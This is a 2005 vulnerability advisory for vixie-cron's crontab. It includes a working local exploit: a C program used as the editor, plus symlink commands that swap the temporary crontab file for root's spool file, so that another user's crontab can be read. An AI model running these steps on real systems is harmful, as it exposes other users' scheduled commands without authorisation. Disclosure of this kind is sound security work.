

Name: vixie-cron
Author: Karol Więsek <appelast@drumnbass.art.pl>
Date: Mar 21, 2005

Issue:

crontab allows any user to read another users crontabs

Description:

Crontab is used to create special files used by cron to execute commands at specified dates and times.

Details:

Insufficient checks allows user to change during edition regular file to symbolic link to any file. While copying crontab uses root permissions, but also checks entrys, so attacker is only able to read properly formated crontab files (another users crontabs).

Exploit:

```
[appelast@hoga ~]$ crontab -l
[appelast@hoga ~]$ cat c.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

int main(int ac, char *av[])
{
    int pid;

    if (ac>1)
        printf("%s\n", av[1]);
    pid = fork();
    if (pid)
        execl("/bin/bash","bash",0);
    if (pid>0)
        wait((void*)0);
    return 0;
}
[appelast@hoga ~]$ export EDITOR=/home/appelast/c
[appelast@hoga ~]$ crontab -e
/tmp/crontab.XXXX63oldL
[appelast@hoga tmp]$ unlink /tmp/crontab.XXXX63oldL
[appelast@hoga tmp]$ ln -s /var/spool/cron/root /tmp/crontab.XXXX63oldL
[appelast@hoga tmp]$ exit
```

```
crontab: installing new crontab
[appelast@hoga ~]$ crontab -l
* * * * * /bin/true
[appelast@hoga ~]$
```

Vulnerability was tested on Fedora Core 3 with vixie-cron-4.1-24_FC3